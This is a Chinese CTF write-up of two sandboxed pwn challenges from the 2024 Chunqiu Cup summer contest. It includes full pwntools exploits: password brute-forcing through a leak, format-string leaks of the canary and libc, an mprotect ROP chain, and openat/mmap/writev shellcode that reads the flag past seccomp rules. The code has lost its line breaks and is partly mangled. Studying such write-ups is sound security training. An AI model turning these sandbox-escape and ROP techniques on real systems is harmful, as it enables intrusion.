web选手入门pwn(18) ——2024年春秋杯夏季赛两道沙箱题

WriteUp 1个月前 admin
45 0 0

1.    SavethePrincess

保护全开,给了libc和libseccomp,而且RUNPATH指定了根目录。

web选手入门pwn(18) ——2024年春秋杯夏季赛两道沙箱题

主要有两个函数,先看magic(),似乎想让你爆破密码,爆破之后,有个read的小溢出。

web选手入门pwn(18) ——2024年春秋杯夏季赛两道沙箱题

找找love从哪儿来的。init()初始化时随机的,而且根据生成的范围,仅小写字母。

web选手入门pwn(18) ——2024年春秋杯夏季赛两道沙箱题

gdb跟进去看一眼。

web选手入门pwn(18) ——2024年春秋杯夏季赛两道沙箱题

那就要爆破26^8次,好像是个天文数字啊。但buf是10字节,比dest多了2字节。为什么非得多2字节呢?这个即使动态调试也很难明白问题出在哪儿,但可以看buf和i的相对距离。

web选手入门pwn(18) ——2024年春秋杯夏季赛两道沙箱题

rsp+0xD和rsp+0x17刚好是10字节差距,也就是说printf(“you password is %sn,nononno!!!n”, buf);是为了泄露i的。
我们在gdb中输入正确前两位密码试一试。

web选手入门pwn(18) ——2024年春秋杯夏季赛两道沙箱题

可以看到i为0x2,刚好粘在buf后面被打印出来。

web选手入门pwn(18) ——2024年春秋杯夏季赛两道沙箱题

这样爆破的数量级就变成了26*8,至此可以写出爆破密码的脚本。

from pwn import *
context.log_level = 'debug'context.arch='amd64'
#sh = gdb.debug("./SavethePrincess","b *mainnc")sh = process("./SavethePrincess")
elf = ELF("./SavethePrincess")libc = ELF("./libc.so.6")

def replace_char_at_index(s, index, new_char): return s[:index] + new_char + s[index+1:]

def magic(passwd): sh.sendlineafter(">","1") sh.sendlineafter("password:",passwd) return sh.recvuntil("!!!")
passwd = 'A'*10;
for i in range(0, 8): for ii in range(ord('a'), ord('z') + 1): passwd = replace_char_at_index(passwd, i, chr(ii)) nononno = magic(passwd) if "successfully" in nononno: print(passwd) break if chr(i+1) in nononno: print("ok!") print(passwd) breakpasswd = passwd[0:8]print(passwd)sh.interactive()

web选手入门pwn(18) ——2024年春秋杯夏季赛两道沙箱题

爆破成功,gdb进去看小溢出。

web选手入门pwn(18) ——2024年春秋杯夏季赛两道沙箱题

溢出不到ret,只能溢出到Canary,那么思路就是利用后面的printf打印出Canary,为后续做准备,偏移量是19。

web选手入门pwn(18) ——2024年春秋杯夏季赛两道沙箱题

但试了下这里是不行的,因为Canary是0x00开头,溢出19个字节只打印dest,溢出20个字节则修改了Canary,程序退出。
所以其实不是栈溢出,而是字符串格式化printf(dest)。如下图,%9$p成功打印出Canary。

web选手入门pwn(18) ——2024年春秋杯夏季赛两道沙箱题

泄露libc呢?栈上找到一个离__libc_start_main很近的地址。

web选手入门pwn(18) ——2024年春秋杯夏季赛两道沙箱题

web选手入门pwn(18) ——2024年春秋杯夏季赛两道沙箱题

这样Canary和libc就搞定了,如果有必要还可以泄露text或者stack地址。现在可以看另外一个函数Challenge()了。

web选手入门pwn(18) ——2024年春秋杯夏季赛两道沙箱题

web选手入门pwn(18) ——2024年春秋杯夏季赛两道沙箱题

存在沙箱的一个栈溢出,这里虽然沙箱在栈布局之后才触发,但真正ret到返回函数执行恶意操作的时候,已经开启沙箱了。
看看禁了哪些函数。

web选手入门pwn(18) ——2024年春秋杯夏季赛两道沙箱题

可以看到,禁用了execve,orw中的or。而且如果想重复利用这个栈溢出还不能跳转到main,因为__isoc99_scanf也会命中其中的某条规则 ,导致沙箱报警。
先找or的替代品。
https://xz.aliyun.com/t/15164
基本可以锁定mmap和openat。但是orw可以纯用ROP链打吗?一般来说是可以的,但由于mmap需要的参数过多,pop r8/r9都没有找到链。

web选手入门pwn(18) ——2024年春秋杯夏季赛两道沙箱题

所以必须得想别的办法,正解是使用mprotect给栈执行权限,在栈上执行shellcode。注意mprotect第一个参数需要页对齐,也就是必须是0x1000的倍数。

int mprotect(void * addr, size_t len, int prot)mprotect(stack_base, 0x10000, 0x7)

写出如下poc。

from pwn import *
context.log_level = 'debug'context.arch='amd64'
sh = gdb.debug("./SavethePrincess","b *0x5555555556c5nc")#sh = process("./SavethePrincess")
elf = ELF("./SavethePrincess")libc = ELF("./libc.so.6")

def replace_char_at_index(s, index, new_char): return s[:index] + new_char + s[index+1:]
def magic(passwd): sh.sendlineafter(">","1") sh.sendlineafter("password:",passwd) return sh.recvuntil("!!!")
passwd = 'A'*10;
for i in range(0, 8): for ii in range(ord('a'), ord('z') + 1): passwd = replace_char_at_index(passwd, i, chr(ii)) nononno = magic(passwd) if "successfully" in nononno: print(passwd) break if chr(i+1) in nononno: print("ok!") print(passwd) breakpasswd = passwd[0:8]print(passwd)
sh.sendlineafter(">","1")sh.sendlineafter("password:",passwd)sh.sendafter("power!!!","%9$p-%10$p-%15$p")ret = sh.recvuntil("1.")canary = int(ret[3:19],16)print('canary: '+hex(canary))stack = int(ret[22:34],16)print('stack: '+hex(stack))stack_base = int(ret[22:31]+'000',16)print('stack_base: '+hex(stack_base))__libc_start_main_48 = int(ret[37:49],16)libc_base = __libc_start_main_48 + 48 - libc.sym['__libc_start_main']print('libc_base: '+hex(libc_base))
mprotect_addr = libc_base + libc.sym['mprotect']pop_rdi_ret = libc_base + 0x2a3e5pop_rsi_ret = libc_base + 0x2be51pop_rdx_r12_ret = libc_base + 0x11f2e7
payload = "A" * 56 + p64(canary) + p64(stack) + p64(pop_rdi_ret) + p64(stack_base) + p64(pop_rsi_ret) + p64(0x10000) + p64(pop_rdx_r12_ret) + p64(0x7) + p64(0x0) + p64(mprotect_addr)
sh.sendlineafter(">","2")sh.sendlineafter("dragon!!",payload)
sh.interactive()

布局完美,执行完后就会看到整个栈可读可写可执行

web选手入门pwn(18) ——2024年春秋杯夏季赛两道沙箱题

web选手入门pwn(18) ——2024年春秋杯夏季赛两道沙箱题

然后计算一下存放shellcode的栈地址离我们泄露的栈地址有多远。

web选手入门pwn(18) ——2024年春秋杯夏季赛两道沙箱题

完善payload

payload = "A" * 56 + p64(canary) + p64(stack)payload += p64(pop_rdi_ret) + p64(stack_base) + p64(pop_rsi_ret) + p64(0x10000) + p64(pop_rdx_r12_ret) + p64(0x7) + p64(0x0) + p64(mprotect_addr)payload += p64(stack+48)payload += "x90" * 8

web选手入门pwn(18) ——2024年春秋杯夏季赛两道沙箱题

成功在栈上执行shellcode,最后将NOP换成真正的shellcode即可。
https://chromium.googlesource.com/chromiumos/docs/+/master/constants/syscalls.md#x86_64-64_bit
在x64上使用syscall(系统调用)是这样的。

eax = 0x9;                  mmap的系统调用号rdi = 0x10000;           第一个参数rsi = 0x1000;             第二个参数rdx = 0x7;                 第三个参数r10 = 0x12;               第四个参数r8 = 0x3;                   第五个参数r9 = 0x0;                   第六个参数

抄别人wp的shellcode得出最终exp。

from pwn import *
context.log_level = 'debug'context.arch='amd64'
#sh = gdb.debug("./SavethePrincess","b *0x5555555556c5nc")sh = process("./SavethePrincess")
elf = ELF("./SavethePrincess")libc = ELF("./libc.so.6")

def replace_char_at_index(s, index, new_char): return s[:index] + new_char + s[index+1:]
def magic(passwd): sh.sendlineafter(">","1") sh.sendlineafter("password:",passwd) return sh.recvuntil("!!!")
passwd = 'A'*10;
for i in range(0, 8): for ii in range(ord('a'), ord('z') + 1): passwd = replace_char_at_index(passwd, i, chr(ii)) nononno = magic(passwd) if "successfully" in nononno: print(passwd) break if chr(i+1) in nononno: print("ok!") print(passwd) breakpasswd = passwd[0:8]print(passwd)
sh.sendlineafter(">","1")sh.sendlineafter("password:",passwd)sh.sendafter("power!!!","%9$p-%10$p-%15$p")ret = sh.recvuntil("1.")canary = int(ret[3:19],16)print('canary: '+hex(canary))stack = int(ret[22:34],16)print('stack: '+hex(stack))stack_base = int(ret[22:31]+'000',16)print('stack_base: '+hex(stack_base))__libc_start_main_48 = int(ret[37:49],16)libc_base = __libc_start_main_48 + 48 - libc.sym['__libc_start_main']print('libc_base: '+hex(libc_base))
mprotect_addr = libc_base + libc.sym['mprotect']pop_rdi_ret = libc_base + 0x2a3e5pop_rsi_ret = libc_base + 0x2be51pop_rdx_r12_ret = libc_base + 0x11f2e7

shellcode =''' mov rax, 0x67616c662f push rax xor rdi, rdi sub rdi, 100 mov rsi, rsp xor edx, edx xor r10, r10 push SYS_openat pop rax syscall
mov rdi, 0x10000 mov rsi, 0x1000 mov rdx, 7 push 0x12 pop r10 push 0x3 pop r8 xor r9, r9 push SYS_mmap pop rax syscall
mov rdi, 1 mov rsi,0x10000 mov rdx,0x40 push SYS_write pop rax syscall
'''
payload = "A" * 56 + p64(canary) + p64(stack)payload += p64(pop_rdi_ret) + p64(stack_base) + p64(pop_rsi_ret) + p64(0x10000) + p64(pop_rdx_r12_ret) + p64(0x7) + p64(0x0) + p64(mprotect_addr)payload += p64(stack+48)payload += asm(shellcode)
sh.sendlineafter(">","2")sh.sendlineafter("dragon!!",payload)
sh.interactive()

web选手入门pwn(18) ——2024年春秋杯夏季赛两道沙箱题



2.    Shuffled_Execution

web选手入门pwn(18) ——2024年春秋杯夏季赛两道沙箱题

mmap在0x1337000申请一块0x1000大小可读可写可执行的内存。

web选手入门pwn(18) ——2024年春秋杯夏季赛两道沙箱题

系统调用read(系统调用号为0),往0x1337000写shellcode

web选手入门pwn(18) ——2024年春秋杯夏季赛两道沙箱题

获得s长度v6,然后把s和v6放进shuffle()洗牌。

web选手入门pwn(18) ——2024年春秋杯夏季赛两道沙箱题

web选手入门pwn(18) ——2024年春秋杯夏季赛两道沙箱题

接着sandbox()开启沙箱,entrance()清空全部寄存器并jmp 0x1337000。

web选手入门pwn(18) ——2024年春秋杯夏季赛两道沙箱题

先看沙箱禁了什么。

web选手入门pwn(18) ——2024年春秋杯夏季赛两道沙箱题

execve + orw。那么替代品就是openat,mmap,writev。
写shellcode之前先要绕过shuffle(),非常简单,因为长度v6是用strlen的,因此只需要用个00截断即可。
因此shellcode第一行放个00开头或者00第二位的汇编。

from pwn import *
context.log_level = 'debug'context.arch='amd64'
sh = gdb.debug("./Shuffled_Execution","b *0x555555555560nc")#sh = process("./Shuffled_Execution")
elf = ELF("./Shuffled_Execution")
payload = "xBEx00x00x00x00"+"x90"*8sh.sendlineafter("entrance.", payload)
sh.interactive()

web选手入门pwn(18) ——2024年春秋杯夏季赛两道沙箱题

那么接下来就是写orw,因为entrance()把esp也清空了,我们可以拿0x1337000+0x800当栈。
然后writev的用法也有点不同。

ssize_t writev( int fd, const struct iovec *iov, int cnt );struct iovec {char *iov_base; /*基本地址指针,指向缓冲区*/size_t iov_len; /*指定缓冲区长度*/};

之前的SavethePrincess用mmap是在0x10000地址里存储flag内容。因此openat和mmap基本不变,只新增一行mov esp, 0x1337800。
但writev的第二个参数必须是一个结构体的地址,结构体存储着一个指针,一个长度,我们可以这样写。

shellcode ='''    mov esp, 0x1337800    mov rax, 0x67616c662f    push rax    xor rdi, rdi    sub rdi, 100    mov rsi, rsp    xor edx, edx    xor r10, r10    push SYS_openat    pop rax    syscall
mov rdi, 0x10000 mov rsi, 0x1000 mov rdx, 7 push 0x12 pop r10 push 0x3 pop r8 xor r9, r9 push SYS_mmap pop rax syscall'''shellcode +=''' mov rdi, 1 mov rsi,0x1337008 mov rdx, 1 push SYS_writev pop rax syscall'''payload = "xBEx00x00x00x00x90x90x90"payload += p64(0x10000)payload += p64(0x1000)payload += asm(shellcode)

这样等于p64(0x10000)+ p64(0x1000)手动构造了一个结构体。它们会被当成汇编执行,虽然不影响结果,但最好还是放shellcode后面。

shellcode +='''    mov rdi, 1    mov rsi,0x1337200    mov rdx, 1    push SYS_writev    pop rax    syscall
'''
print(len(asm(shellcode)))
payload = "xBEx00x00x00x00x90x90x90"payload += asm(shellcode)payload = payload.ljust(0x200,"x00")payload += p64(0x10000)payload += p64(0x1000)

web选手入门pwn(18) ——2024年春秋杯夏季赛两道沙箱题

当然,也可以不要esp,不用pop/push,且用汇编构造结构体的写法,以下是我自己写的汇编。

from pwn import *
context.log_level = 'debug'context.arch='amd64'
sh = gdb.debug("./Shuffled_Execution","b *0x555555555560nc")#sh = process("./Shuffled_Execution")
elf = ELF("./Shuffled_Execution")
shellcode ='''    mov esi, 0                    #BE 00 00 00 00,00截断
mov rdi, 0x1337500 #在0x1337500写入/flag mov rax, 0x67616c662f mov [rdi], rax
mov rdi, 0x1337510 #在0x1337510写入0x1338000,作为writev所需结构体 mov rax, 0x1338000 mov [rdi], rax
mov rdi, 0x1337518 #在0x1337518写入0x100,作为writev所需结构体 mov rax, 0x100 mov [rdi], rax mov rax, 257 #openat系统调用号 xor rdi, rdi #依次设置参数 sub rdi, 100 mov rsi, 0x1337500 xor rdx, rdx xor r10, r10 syscall
    mov rax, 9                    #mmap系统调用号 mov rdi, 0x1338000 #依次设置参数 mov rsi, 0x100 mov rdx, 7 mov r10, 0x12 mov r8, 3 xor r9, r9 syscall
mov rax, 20 #writev系统调用号    mov rdi, 1                     #依次设置参数 mov rsi, 0x1337510 mov rdx, 1 syscall'''
payload = asm(shellcode)
sh.sendlineafter("entrance.",payload)
sh.interactive()


web选手入门pwn(18) ——2024年春秋杯夏季赛两道沙箱题

原文始发于微信公众号(珂技知识分享):web选手入门pwn(18) ——2024年春秋杯夏季赛两道沙箱题

版权声明:admin 发表于 2024年8月14日 下午4:13。
转载请注明:web选手入门pwn(18) ——2024年春秋杯夏季赛两道沙箱题 | CTF导航

相关文章